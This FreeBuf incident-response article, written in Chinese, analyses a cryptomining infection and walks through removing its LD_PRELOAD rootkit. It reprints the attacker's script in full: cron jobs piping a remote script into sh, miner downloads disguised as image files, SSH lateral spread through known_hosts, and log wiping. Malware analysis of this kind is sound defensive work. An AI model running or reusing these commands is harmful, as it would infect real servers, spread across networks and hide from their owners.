freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

挖矿病毒深度分析
2020-05-17 10:00:41

起因

朋友公司遇到了一起挖矿病毒事件,找我帮忙看看。

入侵分析

基本信息检查

当我登录服务器做检测时,top回显并未发现异常进程:top.png但是在crontab中发现一条异常的定时任务:crontab.png通过访问定时任务中的url,发现是一个shell脚本(目前已被黑客删除):image

脚本分析

有了攻击脚本的话,我们就能更加快速的了解他的攻击方式了,所以让我们来分析下脚本到底干了些什么:

创建定时任务,不断检测,确保不被删除

echo "*/10 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh"|crontab -
cat > /etc/crontab <<EOF
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
*/10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh
EOF

果然是黑客,领土意识就是比一般人强,第二步就是检测主机上是否存在其他的挖矿病毒,有的话直接干掉

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9

开始下载挖矿木马了,黑客事先已经将木马文件上传到一些图片分享网站,通过脚本将木马下载到特定目录下并修改文件名,添加执行权限并启动

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
    chattr -i sshd
    rm -rf sshd
    ARCH=$(getconf LONG_BIT)
    if [ ${ARCH}x = "32x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190627/b91559ac5f6d4d2f94f9fba20121170c.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190627/b91559ac5f6d4d2f94f9fba20121170c.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641090/x32_werii1 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641090/x32_werii1 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641327467/1.4684002168716392.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641327467/1.4684002168716392.jpg -O sshd)
    else
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190627/d6dced5199434ee898670f773eaaa069.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190627/d6dced5199434ee898670f773eaaa069.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641004/x64_fi6qkp -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641004/x64_fi6qkp -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641163354/5.326312443776953.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641163354/5.326312443776953.jpg -O sshd)
    fi  
fi
chmod +x sshd
$(pwd)/sshd || ./sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || /tmp/sshd || /usr/local/sbin/sshd

黑客当然不满足占领一台主机,所以脚本会遍历root,/home/*目录下的所有.ssh文件,尝试横向转播,扩大战果

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi

for file in /home/*
do
    if test -d $file; then
        if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
            for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
        fi
    fi
done

最后就是常规的毁尸灭迹了(这个方法有点糙。。。)

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

再次排查

我们先把crontab进程关闭,防止排查过程中不断的执行从而干扰排查工作。然后将定时任务注释或删除:image回到刚开始排查是的情况,为什么我们在top回显中一条异常信息都看不到呢?我又在主机上搜索了下脚本中提到的sshd木马:imageps和netstat命令都看不到sshd的进程信息,这个信息说明sshd是一个带有隐藏信息的rootkit,netstat中能显示端口信息但是无法显示进程信息所以能确定,这并不是一个内核级别的rootkit(为毛我有点高兴又有点失望呢。。。),所以这只是一个用户态的malware。用户态的malware方式无非就是:

1.通过替换系统中常见的进程查看工具(比如ps、top、lsof)的二进制程序,导致原先查看进程相关信息的工具(ps、top、lsof等)都被调包;

2.通过劫持getdents 等系统调用函数或libc中的readdir 函数,实现对特定进程名进程的隐藏,以达到进程隐藏目的;

3.在恶意代码中通过设置具有迷惑性的进程名字,以达到躲避管理员检查的目的;

4.利用mount —bind 将另外一个目录挂载覆盖至/proc/目录下指定进程ID的目录,我们知道ps、top等工具会读取/proc目录下获取进程信息,如果将进程ID的目录信息覆盖,则原来的进程信息将从ps的输出结果中隐匿;

我将一台正常主机的ps和netstat命令拷到本机进行测试发现还是无法看到sshd:imagemounts中也没有看到异常的挂载:image那基本能确认是动态库劫持导致的隐藏,现在我们就要用到一个神器了---"busybox",busybox具有系统通用的命令,而且运行的时候是通过静态库调用,详细信息大家可以点击链接去了解。通过busybox,我们终于看到了那些潜伏的进程:imageimage先干掉{sshd} [kthreadd]进程,然后干掉/usr/local/sbin/havegeds,因为sshd才是主进程,不先干掉sshd的话,它会不断检测拉起挖矿病毒,然后通过yum命令remove原来的openssh-server,然后重新安装openssh-server服务。

但是我们现在通过netstat和ps命令来查看进程时,还是无法看到sshd等进程,这是因为我们之前的动态库hook问题还没有解决。我们通过strace命令来看下命令执行时的系统库调用情况:image在ps命令执行时,优先加载了ld.so.preload中设置的libboost_timed.so动态库,可以看出黑客是通过利用LD_PRELOAD加载恶意动态链接库达到隐藏的目的,到该动态库下通过busybox ls命令查看,发现那个恶意动态库文件image将此恶意动态库文件移除后,终于重现sshd进程了:image对libboost_timed.so文件进行简单的逆向后,发现它还会对多个文件进行修改:image到/var/spool/cron/目录下将两个root文件都删除了,突然想了下,他是不是还在开机启动项里面留了后门呢,所以立马cd到/etc/init.d/目录下看了下,果然发现了:image立马rm了。最后我们将一开始写入的crontab任务都删除,到现在为止本机上的挖矿病毒算排查完成了。

安全防护

1.SSH:

① 谨慎做免密登录

② 尽量不使用默认的22端口

③ 增强root密码强度

2.有很多挖矿病毒是通过Redis未认证接口进行攻击的,所以建议使用redis的同学做以下加固:① 增加授权认证(requirepass参数)② 尽量使用docker版本(docker pull redis)③ 隐藏重要的命令

3.不要安装来源不明的软件,不管是在个人pc还是在测试服务器上!!!

*本文作者:Gh0stWa1ker,转载请注明来自FreeBuf.COM

# 分析 # 服务器 # 挖矿病毒
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者